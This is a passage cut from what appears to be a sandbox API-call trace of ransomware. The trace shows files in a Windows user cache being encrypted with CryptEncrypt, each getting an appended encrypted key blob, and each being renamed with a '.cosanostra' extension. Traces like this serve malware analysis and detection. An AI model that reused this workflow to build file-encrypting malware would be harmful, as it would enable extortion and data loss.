lpNumberOfBytesWritten=0x26ff1fc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff1fc*=0x30, lpOverlapped=0x0) returned 1 [0102.453] CloseHandle (hObject=0x15c) returned 1 [0102.454] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC.cosanostra") returned 162 [0102.454] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\bc570ec0de58335afaf92fdc8e3aa330_f4d449ca9e0eaccfe15946f8fcd349fc"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\bc570ec0de58335afaf92fdc8e3aa330_f4d449ca9e0eaccfe15946f8fcd349fc.cosanostra")) returned 1 [0102.455] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff240 | out: pbBuffer=0x26ff240) returned 1 [0102.455] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff238*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff238*=0x30) returned 1 [0102.455] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\b3bb9c1ba2d19e090ae305b2683903a0_b89a63ac6877bd1ed812438ce82c3eb8"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0102.549] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8") returned 151 [0102.549] StrStrW (lpFirst="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8", lpSrch=".txt") returned 0x0 [0102.551] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffff9ae, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.551] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x652, lpNumberOfBytesWritten=0x26ff1fc, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff1fc*=0x652, lpOverlapped=0x0) returned 1 [0102.551] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.551] WriteFile (in: hFile=0x180, lpBuffer=0x26ff23c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff1fc, lpOverlapped=0x0 | out: lpBuffer=0x26ff23c*, lpNumberOfBytesWritten=0x26ff1fc*=0x4, lpOverlapped=0x0) returned 1 [0102.552] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff1fc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff1fc*=0x30, lpOverlapped=0x0) returned 1 [0102.552] CloseHandle (hObject=0x180) returned 1 [0102.552] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8.cosanostra") returned 162 [0102.552] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\b3bb9c1ba2d19e090ae305b2683903a0_b89a63ac6877bd1ed812438ce82c3eb8"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\b3bb9c1ba2d19e090ae305b2683903a0_b89a63ac6877bd1ed812438ce82c3eb8.cosanostra")) returned 1 [0102.553] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff238 | out: pbBuffer=0x26ff238) returned 1 [0102.553] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff230*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff230*=0x30) returned 1 [0102.553] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\acf244f1a10d4dbed0d88eba0c43a9b5_ba1ab6c2bdfdf57799e8116e4002d001"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0102.554] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001") returned 151 [0102.554] StrStrW (lpFirst="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001", lpSrch=".txt") returned 0x0 [0102.565] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffa12, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.565] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x5ee, lpNumberOfBytesWritten=0x26ff1f4, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff1f4*=0x5ee, lpOverlapped=0x0) returned 1 [0102.566] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.566] WriteFile (in: hFile=0x180, lpBuffer=0x26ff234*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff1f4, lpOverlapped=0x0 | out: lpBuffer=0x26ff234*, lpNumberOfBytesWritten=0x26ff1f4*=0x4, lpOverlapped=0x0) returned 1 [0102.566] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff1f4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff1f4*=0x30, lpOverlapped=0x0) returned 1 [0102.566] CloseHandle (hObject=0x180) returned 1 [0102.566] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001.cosanostra") returned 162 [0102.566] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\acf244f1a10d4dbed0d88eba0c43a9b5_ba1ab6c2bdfdf57799e8116e4002d001"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\acf244f1a10d4dbed0d88eba0c43a9b5_ba1ab6c2bdfdf57799e8116e4002d001.cosanostra")) returned 1 [0102.567] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff238 | out: pbBuffer=0x26ff238) returned 1 [0102.567] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff230*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff230*=0x30) returned 1 [0102.568] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\9c888beabccbc2a97b0d6d9214c3ba37_1213dc6f71e4c3b05e7bceebc203a31e"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0102.568] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E") returned 151 [0102.568] StrStrW (lpFirst="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E", lpSrch=".txt") returned 0x0 [0102.605] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffff9ae, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.605] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x652, lpNumberOfBytesWritten=0x26ff1f4, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff1f4*=0x652, lpOverlapped=0x0) returned 1 [0102.605] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.606] WriteFile (in: hFile=0x180, lpBuffer=0x26ff234*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff1f4, lpOverlapped=0x0 | out: lpBuffer=0x26ff234*, lpNumberOfBytesWritten=0x26ff1f4*=0x4, lpOverlapped=0x0) returned 1 [0102.606] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff1f4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff1f4*=0x30, lpOverlapped=0x0) returned 1 [0102.606] CloseHandle (hObject=0x180) returned 1 [0102.606] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E.cosanostra") returned 162 [0102.606] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\9c888beabccbc2a97b0d6d9214c3ba37_1213dc6f71e4c3b05e7bceebc203a31e"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\9c888beabccbc2a97b0d6d9214c3ba37_1213dc6f71e4c3b05e7bceebc203a31e.cosanostra")) returned 1 [0102.607] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff230 | out: pbBuffer=0x26ff230) returned 1 [0102.607] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff228*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff228*=0x30) returned 1 [0102.607] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8828f39c7c0ce9a14b25c7eb321181ba_c6ef73e4482b2588b1252d1a64b99416"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0102.611] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416") returned 151 [0102.611] StrStrW (lpFirst="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416", lpSrch=".txt") returned 0x0 [0102.637] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffff91d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.637] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x6e3, lpNumberOfBytesWritten=0x26ff1ec, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff1ec*=0x6e3, lpOverlapped=0x0) returned 1 [0102.638] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.638] WriteFile (in: hFile=0x180, lpBuffer=0x26ff22c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff1ec, lpOverlapped=0x0 | out: lpBuffer=0x26ff22c*, lpNumberOfBytesWritten=0x26ff1ec*=0x4, lpOverlapped=0x0) returned 1 [0102.638] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff1ec, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff1ec*=0x30, lpOverlapped=0x0) returned 1 [0102.638] CloseHandle (hObject=0x180) returned 1 [0102.638] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416.cosanostra") returned 162 [0102.638] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8828f39c7c0ce9a14b25c7eb321181ba_c6ef73e4482b2588b1252d1a64b99416"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8828f39c7c0ce9a14b25c7eb321181ba_c6ef73e4482b2588b1252d1a64b99416.cosanostra")) returned 1 [0103.372] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff230 | out: pbBuffer=0x26ff230) returned 1 [0103.372] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff228*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff228*=0x30) returned 1 [0103.373] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\7423f88c7f265f0defc08ea88c3bde45_d975bba8033175c8d112023d8a7a8ad6"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0103.373] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6") returned 151 [0103.373] StrStrW (lpFirst="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6", lpSrch=".txt") returned 0x0 [0103.374] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffe29, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.374] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x1d7, lpNumberOfBytesWritten=0x26ff1ec, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff1ec*=0x1d7, lpOverlapped=0x0) returned 1 [0103.374] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.374] WriteFile (in: hFile=0x180, lpBuffer=0x26ff22c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff1ec, lpOverlapped=0x0 | out: lpBuffer=0x26ff22c*, lpNumberOfBytesWritten=0x26ff1ec*=0x4, lpOverlapped=0x0) returned 1 [0103.375] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff1ec, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff1ec*=0x30, lpOverlapped=0x0) returned 1 [0103.375] CloseHandle (hObject=0x180) returned 1 [0103.377] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6.cosanostra") returned 162 [0103.377] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\7423f88c7f265f0defc08ea88c3bde45_d975bba8033175c8d112023d8a7a8ad6"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\7423f88c7f265f0defc08ea88c3bde45_d975bba8033175c8d112023d8a7a8ad6.cosanostra")) returned 1 [0103.379] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff228 | out: pbBuffer=0x26ff228) returned 1 [0103.379] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff220*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff220*=0x30) returned 1 [0103.379] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7396C420A8E1BC1DA97F1AF0D10BAD21" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\7396c420a8e1bc1da97f1af0d10bad21"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0103.379] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7396C420A8E1BC1DA97F1AF0D10BAD21") returned 118 [0103.380] StrStrW (lpFirst="7396C420A8E1BC1DA97F1AF0D10BAD21", lpSrch=".txt") returned 0x0 [0103.380] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffdd6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.380] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x22a, lpNumberOfBytesWritten=0x26ff1e4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff1e4*=0x22a, lpOverlapped=0x0) returned 1 [0103.381] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.381] WriteFile (in: hFile=0x180, lpBuffer=0x26ff224*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff1e4, lpOverlapped=0x0 | out: lpBuffer=0x26ff224*, lpNumberOfBytesWritten=0x26ff1e4*=0x4, lpOverlapped=0x0) returned 1 [0103.381] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff1e4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff1e4*=0x30, lpOverlapped=0x0) returned 1 [0103.381] CloseHandle (hObject=0x180) returned 1 [0103.381] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7396C420A8E1BC1DA97F1AF0D10BAD21.cosanostra") returned 129 [0103.381] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7396C420A8E1BC1DA97F1AF0D10BAD21" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\7396c420a8e1bc1da97f1af0d10bad21"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7396C420A8E1BC1DA97F1AF0D10BAD21.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\7396c420a8e1bc1da97f1af0d10bad21.cosanostra")) returned 1 [0103.382] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff228 | out: pbBuffer=0x26ff228) returned 1 [0103.382] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff220*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff220*=0x30) returned 1 [0103.382] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\705a76de71ea2caebb8f0907449ce086_9752c5b2d53ee7a19f7764b52968ec21"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0103.383] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21") returned 151 [0103.383] StrStrW (lpFirst="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21", lpSrch=".txt") returned 0x0 [0103.400] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffff9b8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.401] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x648, lpNumberOfBytesWritten=0x26ff1e4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff1e4*=0x648, lpOverlapped=0x0) returned 1 [0103.401] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.401] WriteFile (in: hFile=0x180, lpBuffer=0x26ff224*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff1e4, lpOverlapped=0x0 | out: lpBuffer=0x26ff224*, lpNumberOfBytesWritten=0x26ff1e4*=0x4, lpOverlapped=0x0) returned 1 [0103.401] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff1e4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff1e4*=0x30, lpOverlapped=0x0) returned 1 [0103.402] CloseHandle (hObject=0x180) returned 1 [0103.402] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS 